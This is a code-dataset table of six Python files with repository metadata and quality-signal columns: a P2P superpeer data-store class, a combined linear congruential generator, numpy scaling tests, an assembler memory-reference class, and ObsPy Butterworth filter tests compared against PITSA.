hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
341ccffc9e7ed4b86b653144bd2deb78296a6032 | 8,025 | py | Python | superpeer/LocalData.py | xBlue0/AlaKazaam | ffd84c8afcb3aca40eac45c4c98faa547822e0fb | [
"MIT"
] | 5 | 2018-04-10T13:13:59.000Z | 2019-05-12T17:07:37.000Z | superpeer/LocalData.py | marcorambaldi/AlaKazaam | ffd84c8afcb3aca40eac45c4c98faa547822e0fb | [
"MIT"
] | 2 | 2018-04-14T13:04:27.000Z | 2018-04-17T09:03:58.000Z | superpeer/LocalData.py | marcorambaldi/AlaKazaam | ffd84c8afcb3aca40eac45c4c98faa547822e0fb | [
"MIT"
] | 1 | 2019-03-01T13:28:51.000Z | 2019-03-01T13:28:51.000Z | #!/usr/bin/env python
import re
class LocalData:
""" Data class containing data structures and methods to interact with them """
# ('ipv4', 'ipv6', 'port')
super_friends = list()
# {'pktid' : (ip, port)}
received_packets = dict()
# 'pktid'
sent_supe_packet = str()
# 'pktid'
sent_menu_quer_packet = str()
# 'pktid'
sent_net_quer_packet = str()
# {'md5' : ('name', 'ipv4', 'ipv6', 'port')}
net_peer_files = dict()
# ('md5', 'name', 'ipv4', 'ipv6', 'port')
menu_peer_files = list()
# ('filename', 'md5', 'dim')
shared_files = list()
# super_super_friends management --------------------------------------------------------
@classmethod
def is_super_friend(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> bool:
return (ip4_peer, ip6_peer, port_peer) in cls.super_friends
@classmethod
def get_super_friends(cls) -> list:
return cls.super_friends
@classmethod
def add_super_friend(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> None:
cls.super_friends.append((ip4_peer, ip6_peer, port_peer))
@classmethod
def super_friend_index(cls, ip4_peer: str, ip6_peer: str, port_peer: int) -> int:
return cls.super_friends.index((ip4_peer, ip6_peer, port_peer))
@classmethod
def get_super_friends_recipients(cls, ip_sender: str, ip4_source: str, ip6_source: str) -> list:
recipients = cls.super_friends.copy()
for peer in cls.super_friends:
if ip_sender == peer[0] or ip_sender == peer[1]:
recipients.remove(peer)
elif ip4_source == peer[0] or ip6_source == peer[1]:
recipients.remove(peer)
return recipients
@classmethod
def get_super_friend_ip4(cls, peer: tuple) -> str:
return peer[0]
@classmethod
def get_super_friend_ip6(cls, peer: tuple) -> str:
return peer[1]
@classmethod
def get_super_friend_port(cls, peer: tuple) -> int:
return peer[2]
@classmethod
def remove_super_friend(cls, super_friend_index: int) -> None:
cls.super_friends.pop(super_friend_index)
# -----------------------------------------------------------------------------
# received packets management --------------------------------------------------
@classmethod
def add_received_packet(cls, pktid: str, ip_peer: str, port_peer: int) -> None:
cls.received_packets[pktid] = (ip_peer, port_peer)
@classmethod
def delete_received_packet(cls, pktid: str) -> None:
del cls.received_packets[pktid]
@classmethod
def exist_in_received_packets(cls, pktid: str) -> bool:
return pktid in cls.received_packets
# -----------------------------------------------------------------------------
# sent packet management-------------------------------------------------------------
@classmethod
def set_sent_supe_packet(cls, pktid: str) -> None:
cls.sent_supe_packet = pktid
@classmethod
def get_sent_supe_packet(cls) -> str:
return cls.sent_supe_packet
@classmethod
def set_sent_menu_quer_packet(cls, pktid: str) -> None:
cls.sent_menu_quer_packet = pktid
@classmethod
def set_sent_net_quer_packet(cls, pktid: str) -> None:
cls.sent_net_quer_packet = pktid
@classmethod
def get_sent_menu_quer_packet(cls) -> str:
return cls.sent_menu_quer_packet
@classmethod
def get_sent_net_quer_packet(cls) -> str:
return cls.sent_net_quer_packet
# -----------------------------------------------------------------------------
# menu_peer_files management---------------------------------------------------
@classmethod
def get_menu_peer_files(cls) -> list:
return cls.menu_peer_files
@classmethod
def get_menu_file_owner_ip4(cls, file: tuple) -> str:
return file[0]
@classmethod
def get_menu_file_owner_ip6(cls, file: tuple) -> str:
return file[1]
@classmethod
def get_menu_file_owner_port(cls, file: tuple) -> int:
return file[2]
@classmethod
def get_menu_file_md5(cls, file: tuple) -> str:
return file[3]
@classmethod
def get_menu_file_name(cls, file: tuple) -> str:
return file[4]
@classmethod
def add_menu_peer_file(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> None:
cls.menu_peer_files.append((ip4_peer, ip6_peer, port_peer, filemd5, filename))
@classmethod
def exist_menu_peer_file(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> bool:
return (ip4_peer, ip6_peer, port_peer, filemd5, filename) in cls.menu_peer_files
@classmethod
def menu_peer_file_index(cls, ip4_peer: str, ip6_peer: str, port_peer: int, filemd5: str, filename: str) -> int:
return cls.menu_peer_files.index((ip4_peer, ip6_peer, port_peer, filemd5, filename))
@classmethod
def get_menu_peer_file_by_index(cls, index: int) -> tuple:
return cls.menu_peer_files.pop(index)
@classmethod
def clear_menu_peer_files(cls) -> None:
cls.menu_peer_files.clear()
# -----------------------------------------------------------------------------
# peer_files management--------------------------------------------------------
@classmethod
def get_net_peer_files(cls) -> dict:
return cls.net_peer_files
@classmethod
def add_net_peer_file(cls, ip_peer: str, port_peer: int, filemd5: str, filename: str) -> None:
if filemd5 in cls.net_peer_files.keys():
cls.net_peer_files[filemd5].append((filename, ip_peer, port_peer))
else:
cls.net_peer_files[filemd5] = list()
cls.net_peer_files[filemd5].append((filename, ip_peer, port_peer))
@classmethod
def exist_net_peer_file(cls, ip_peer: str, port_peer: int, filemd5: str, filename: str) -> bool:
if filemd5 in cls.net_peer_files.keys():
return (filename, ip_peer, port_peer) in cls.net_peer_files[filemd5]
return False
@classmethod
def get_net_peer_files_md5_amount(cls) -> int:
return len(cls.net_peer_files.keys())
@classmethod
def get_net_peer_file_copy_amount_by_md5(cls, filemd5: str) -> int:
if filemd5 in cls.net_peer_files.keys():
return len(cls.net_peer_files[filemd5])
return 0
@classmethod
def get_net_peer_file_name_by_md5(cls, filemd5: str) -> str:
return cls.net_peer_files[filemd5][0][0]
@classmethod
def get_net_peer_files_list_by_md5(cls, filemd5: str) -> list:
if filemd5 in cls.net_peer_files.keys():
return cls.net_peer_files[filemd5]
return list()
@classmethod
def get_net_peer_file_name(cls, file_tuple: tuple) -> str:
return file_tuple[0]
@classmethod
def get_net_peer_file_owner_ip(cls, file_tuple: tuple) -> str:
return file_tuple[1]
@classmethod
def get_net_peer_file_owner_port(cls, file_tuple: tuple) -> str:
return file_tuple[2]
@classmethod
def clear_net_peer_files(cls) -> None:
cls.net_peer_files.clear()
# -----------------------------------------------------------------------------
# shared files management -----------------------------------------------------
@classmethod
def get_shared_files(cls) -> list:
return cls.shared_files
@classmethod
def add_shared_file(cls, filename: str, file_md5: str, file_size: int) -> None:
cls.shared_files.append((filename, file_md5, file_size))
@classmethod
def exist_shared_file(cls, filename: str, file_md5: str, file_size: int) -> bool:
return (filename, file_md5, file_size) in cls.shared_files
@classmethod
def search_in_shared_files(cls, query_name: str) -> list:
results = list()
if query_name == '*':
results = cls.shared_files
else:
for file in cls.shared_files:
if re.search(query_name, file[0]):
results.append(file)
return results
@classmethod
def get_shared_filename_by_filemd5(cls, file_md5: str) -> str:
for file in cls.shared_files:
if file[1] == file_md5:
return file[0]
@classmethod
def get_shared_filename(cls, file: tuple) -> str:
return file[0]
@classmethod
def get_shared_filemd5(cls, file: tuple) -> str:
return file[1]
@classmethod
def get_shared_dim(cls, file: tuple) -> int:
return int(file[2])
@classmethod
def clear_shared_files(cls) -> None:
cls.shared_files.clear()
@classmethod
def get_shared_file_by_index(cls, index: int) -> tuple:
return cls.shared_files.pop(index)
# -----------------------------------------------------------------------------
| 29.395604 | 114 | 0.662804 | 1,117 | 8,025 | 4.459266 | 0.083259 | 0.140534 | 0.098976 | 0.04216 | 0.696447 | 0.495081 | 0.361574 | 0.288898 | 0.219434 | 0.183297 | 0 | 0.01438 | 0.133458 | 8,025 | 272 | 115 | 29.503676 | 0.701898 | 0.153022 | 0 | 0.362162 | 0 | 0 | 0.000148 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.27027 | false | 0 | 0.005405 | 0.167568 | 0.540541 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
34213d4a49d584afc7dd7bc836c55645b4e2dc55 | 398 | py | Python | CombinedLinearCongruentialGenerators/generate.py | SUT-Courses/SimulationMiniTool | 56e050e887d2b2c7f24921300059a6d925dfd9dc | [
"MIT"
] | null | null | null | CombinedLinearCongruentialGenerators/generate.py | SUT-Courses/SimulationMiniTool | 56e050e887d2b2c7f24921300059a6d925dfd9dc | [
"MIT"
] | null | null | null | CombinedLinearCongruentialGenerators/generate.py | SUT-Courses/SimulationMiniTool | 56e050e887d2b2c7f24921300059a6d925dfd9dc | [
"MIT"
] | null | null | null | def combined_linear_cong(n=10000):
r = [0.0] * n
m1 = 2147483563
a1 = 40014
y1 = 1
m2 = 2147483399
a2 = 40692
y2 = 1
for i in range(n):
y1 = a1 * y1 % m1
y2 = a2 * y2 % m2
x = (y1 - y2) % (m1 - 1)
if x > 0:
r[i] = (x / m1)
else:
r[i] = (m1 - 1) / m1
return r
print(combined_linear_cong())
| 14.214286 | 34 | 0.414573 | 59 | 398 | 2.728814 | 0.474576 | 0.173913 | 0.223602 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 0.454774 | 398 | 27 | 35 | 14.740741 | 0.456221 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.055556 | false | 0 | 0 | 0 | 0.111111 | 0.055556 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
342f32ed64550a8da4a8ef5f7800093077e54557 | 1,569 | py | Python | tests/lib/scaling_test.py | Crossing-Minds/xminds-python | 8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f | [
"MIT"
] | 4 | 2020-10-27T00:11:52.000Z | 2022-01-17T21:15:25.000Z | tests/lib/scaling_test.py | Crossing-Minds/xminds-python | 8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f | [
"MIT"
] | null | null | null | tests/lib/scaling_test.py | Crossing-Minds/xminds-python | 8ee345e3a9ec41016c6a866e1af5eb13f7ff4f1f | [
"MIT"
] | null | null | null | import unittest
import numpy
from xminds.ds.scaling import linearscaling
class LinearToolsTestCase(unittest.TestCase):
def test_linearscaling_scalar(self):
assert numpy.isclose(linearscaling(0, 0, 10, 0, 1), 0)
assert numpy.isclose(linearscaling(1, 0, 10, 0, 1), 10)
assert numpy.isclose(linearscaling(.5, 0, 10, 0, 1), 5.)
assert numpy.isclose(linearscaling(-1, 0, 10, -1, 1), 0)
assert numpy.isclose(linearscaling(1, 0, 10, -1, 1), 10)
assert numpy.isclose(linearscaling(0, 0, 10, -1, 1), 5.)
assert numpy.isclose(linearscaling(-1, 10, -10, -1, 1), 10)
assert numpy.isclose(linearscaling(1, 10, -10, -1, 1), -10)
assert numpy.isclose(linearscaling(0, 10, -10, -1, 1), 0)
def test_linearscaling_1d(self):
x = numpy.asarray([0., 0.5, 1.])
assert numpy.allclose(linearscaling(x, 0, 10), [0, 5, 10])
x = numpy.asarray([-1, 0, 1])
assert numpy.allclose(linearscaling(x, 0, 10), [0, 5, 10])
x = numpy.asarray([-1, 0, 1])
assert numpy.allclose(linearscaling(x, 10, -10), [10, 0, -10])
def test_linearscaling_2d(self):
x = numpy.asarray([[-1, -2],
[0, 0],
[1, 2]], dtype='float32')
new_min = numpy.asarray([0, 0])
new_max = numpy.asarray([1, 2])
expected = numpy.asarray([[0, 0],
[0.5, 1],
[1, 2]])
assert numpy.allclose(linearscaling(x, new_min, new_max, axis=0), expected)
| 41.289474 | 83 | 0.555131 | 213 | 1,569 | 4.042254 | 0.159624 | 0.166086 | 0.188153 | 0.324042 | 0.595819 | 0.557491 | 0.518002 | 0.469222 | 0.469222 | 0.29849 | 0 | 0.111309 | 0.284257 | 1,569 | 37 | 84 | 42.405405 | 0.655387 | 0 | 0 | 0.129032 | 0 | 0 | 0.004461 | 0 | 0 | 0 | 0 | 0 | 0.419355 | 1 | 0.096774 | false | 0 | 0.096774 | 0 | 0.225806 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
3437ac01cfd94d44391f51d8c11604eb9e8f9c2a | 893 | py | Python | cpc/asm/DirectMemoryReference.py | U-Ar/Cpresto | f723458fb237c9e3e8bc8a6afdf7c81858a65363 | [
"BSD-3-Clause"
] | 1 | 2021-05-09T07:10:19.000Z | 2021-05-09T07:10:19.000Z | cpc/asm/DirectMemoryReference.py | U-Ar/Cpresto | f723458fb237c9e3e8bc8a6afdf7c81858a65363 | [
"BSD-3-Clause"
] | null | null | null | cpc/asm/DirectMemoryReference.py | U-Ar/Cpresto | f723458fb237c9e3e8bc8a6afdf7c81858a65363 | [
"BSD-3-Clause"
] | null | null | null | from .MemoryReference import MemoryReference
from .SymbolTable import SymbolTable
class DirectMemoryReference(MemoryReference):
def __init__(self,val):
self._value = val
def value(self):
return self._value
def collect_statistics(self,stats):
self._value.collect_statistics(stats)
def fix_offset(self,dif):
raise Exception("DirectMemoryReference.fix_offset")
def to_string(self):
return self.to_source(SymbolTable.dummy())
def to_source(self,table):
return self._value.to_source(table)
def compare_to(self,mem):
return -(mem.cmp(self))
def cmp(self,mem):
if isinstance(mem,DirectMemoryReference):
return self._value.compare_to(mem.value)
else:
return 1
def dump(self):
return "(DirectMemoryReference " + self._value.dump() + ")"
| 26.264706 | 67 | 0.653975 | 100 | 893 | 5.64 | 0.33 | 0.095745 | 0.079787 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001488 | 0.24748 | 893 | 33 | 68 | 27.060606 | 0.837798 | 0 | 0 | 0 | 0 | 0 | 0.06271 | 0.06047 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0 | 0.083333 | 0.208333 | 0.791667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
343c95622efc40d3730894f1a187c4d8b7598c6c | 11,723 | py | Python | IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py | earthinversion/Fnet_IRIS_data_automated_download | 09a6e0c992662feac95744935e038d1c68539fa1 | [
"MIT"
] | 2 | 2020-03-05T01:03:01.000Z | 2020-12-17T05:04:07.000Z | IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py | earthinversion/Fnet_IRIS_data_automated_download | 09a6e0c992662feac95744935e038d1c68539fa1 | [
"MIT"
] | 4 | 2021-03-31T19:25:55.000Z | 2021-12-13T20:32:46.000Z | IRIS_data_download/IRIS_download_support/obspy/signal/tests/test_filter.py | earthinversion/Fnet_IRIS_data_automated_download | 09a6e0c992662feac95744935e038d1c68539fa1 | [
"MIT"
] | 2 | 2020-09-08T19:33:40.000Z | 2021-04-05T09:47:50.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
The Filter test suite.
"""
from __future__ import (absolute_import, division, print_function,
unicode_literals)
from future.builtins import * # NOQA
import gzip
import os
import unittest
import warnings
import numpy as np
import scipy.signal as sg
from obspy import read
from obspy.signal.filter import (bandpass, highpass, lowpass, envelope,
lowpass_cheby_2)
class FilterTestCase(unittest.TestCase):
"""
Test cases for Filter.
"""
def setUp(self):
# directory where the test files are located
self.path = os.path.join(os.path.dirname(__file__), 'data')
def test_bandpass_vs_pitsa(self):
"""
Test Butterworth bandpass filter against Butterworth bandpass filter
of PITSA. Note that the corners value is twice the value of the filter
sections in PITSA. The rms of the difference between ObsPy and PITSA
tends to get bigger with higher order filtering.
"""
# load test file
file = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(file) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq1 = 5
freq2 = 10
corners = 4
# filter trace
datcorr = bandpass(data, freq1, freq2, df=samp_rate, corners=corners)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_bandpass.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) /
np.sum(data_pitsa ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_bandpass_zphsh_vs_pitsa(self):
"""
Test Butterworth zero-phase bandpass filter against Butterworth
zero-phase bandpass filter of PITSA. Note that the corners value is
twice the value of the filter sections in PITSA. The rms of the
difference between ObsPy and PITSA tends to get bigger with higher
order filtering.
Note: The Zero-Phase filters deviate from PITSA's zero-phase filters
at the end of the trace! The rms for the test is calculated omitting
the last 200 samples, as this part of the trace is assumed to
generally be of low interest/importance.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq1 = 5
freq2 = 10
corners = 2
# filter trace
datcorr = bandpass(data, freq1, freq2, df=samp_rate,
corners=corners, zerophase=True)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_bandpassZPHSH.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) /
np.sum(data_pitsa[:-200] ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_lowpass_vs_pitsa(self):
"""
Test Butterworth lowpass filter against Butterworth lowpass filter of
PITSA. Note that the corners value is twice the value of the filter
sections in PITSA. The rms of the difference between ObsPy and PITSA
tends to get bigger with higher order filtering.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq = 5
corners = 4
# filter trace
datcorr = lowpass(data, freq, df=samp_rate, corners=corners)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_lowpass.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) /
np.sum(data_pitsa ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_lowpass_zphsh_vs_pitsa(self):
"""
Test Butterworth zero-phase lowpass filter against Butterworth
zero-phase lowpass filter of PITSA. Note that the corners value is
twice the value of the filter sections in PITSA. The rms of the
difference between ObsPy and PITSA tends to get bigger with higher
order filtering.
Note: The Zero-Phase filters deviate from PITSA's zero-phase filters
at the end of the trace! The rms for the test is calculated omitting
the last 200 samples, as this part of the trace is assumed to
generally be of low interest/importance.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq = 5
corners = 2
# filter trace
datcorr = lowpass(data, freq, df=samp_rate, corners=corners,
zerophase=True)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_lowpassZPHSH.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) /
np.sum(data_pitsa[:-200] ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_highpass_vs_pitsa(self):
"""
Test Butterworth highpass filter against Butterworth highpass filter
of PITSA. Note that the corners value is twice the value of the filter
sections in PITSA. The rms of the difference between ObsPy and PITSA
tends to get bigger with higher order filtering.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq = 10
corners = 4
# filter trace
datcorr = highpass(data, freq, df=samp_rate, corners=corners)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_highpass.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) /
np.sum(data_pitsa ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_highpass_zphsh_vs_pitsa(self):
"""
Test Butterworth zero-phase highpass filter against Butterworth
zero-phase highpass filter of PITSA. Note that the corners value is
twice the value of the filter sections in PITSA. The rms of the
difference between ObsPy and PITSA tends to get bigger with higher
order filtering.
Note: The Zero-Phase filters deviate from PITSA's zero-phase filters
at the end of the trace! The rms for the test is calculated omitting
the last 200 samples, as this part of the trace is assumed to
generally be of low interest/importance.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# parameters for the test
samp_rate = 200.0
freq = 10
corners = 2
# filter trace
datcorr = highpass(data, freq, df=samp_rate, corners=corners,
zerophase=True)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_highpassZPHSH.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr[:-200] - data_pitsa[:-200]) ** 2) /
np.sum(data_pitsa[:-200] ** 2))
self.assertEqual(rms < 1.0e-05, True)
def test_envelope_vs_pitsa(self):
"""
Test Envelope filter against PITSA.
The rms is not so good, but the fit is still good in most parts.
"""
# load test file
filename = os.path.join(self.path, 'rjob_20051006.gz')
with gzip.open(filename) as f:
data = np.loadtxt(f)
# filter trace
datcorr = envelope(data)
# load pitsa file
filename = os.path.join(self.path, 'rjob_20051006_envelope.gz')
with gzip.open(filename) as f:
data_pitsa = np.loadtxt(f)
# calculate normalized rms
rms = np.sqrt(np.sum((datcorr - data_pitsa) ** 2) /
np.sum(data_pitsa ** 2))
self.assertEqual(rms < 1.0e-02, True)
def test_lowpass_cheby_2(self):
"""
Check magnitudes of basic lowpass cheby2
"""
df = 200 # Hz
b, a = lowpass_cheby_2(data=None, freq=50,
df=df, maxorder=12, ba=True)
nyquist = 100
# calculate frequency response
w, h = sg.freqz(b, a, nyquist)
freq = w / np.pi * nyquist
h_db = 20 * np.log10(abs(h))
# be smaller than -96dB above lowpass frequency
self.assertGreater(-96, h_db[freq > 50].max())
# be 0 (1dB ripple) before filter ramp
self.assertGreater(h_db[freq < 25].min(), -1)
def test_bandpass_high_corner_at_nyquist(self):
"""
Check that using exactly Nyquist for high corner gives correct results.
See #1451.
"""
tr = read()[0]
data = tr.data[:1000]
df = tr.stats.sampling_rate
nyquist = df / 2.0
for low_corner in (6.0, 8.55, 8.59):
for corners in (3, 4, 5, 6):
# this is filtering with high corner slightly below what we
# catch and change into highpass
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
expected = bandpass(
data, low_corner, nyquist * (1 - 1.1e-6), df=df,
corners=corners)
self.assertEqual(len(w), 0)
# all of these should be changed into a highpass
with warnings.catch_warnings(record=True) as w:
warnings.simplefilter("always")
got1 = bandpass(data, low_corner, nyquist * (1 - 0.9e-6),
df=df, corners=corners)
got2 = bandpass(data, low_corner, nyquist,
df=df, corners=corners)
got3 = bandpass(data, low_corner, nyquist + 1.78,
df=df, corners=corners)
self.assertEqual(len(w), 3)
for w_ in w:
self.assertTrue('Selected high corner frequency ' in
str(w[0].message))
self.assertTrue('Applying a high-pass instead.' in
str(w[0].message))
for got in (got1, got2, got3):
np.testing.assert_allclose(got, expected, rtol=1e-3,
atol=0.9)
def suite():
return unittest.makeSuite(FilterTestCase, 'test')
if __name__ == '__main__':
unittest.main(defaultTest='suite')
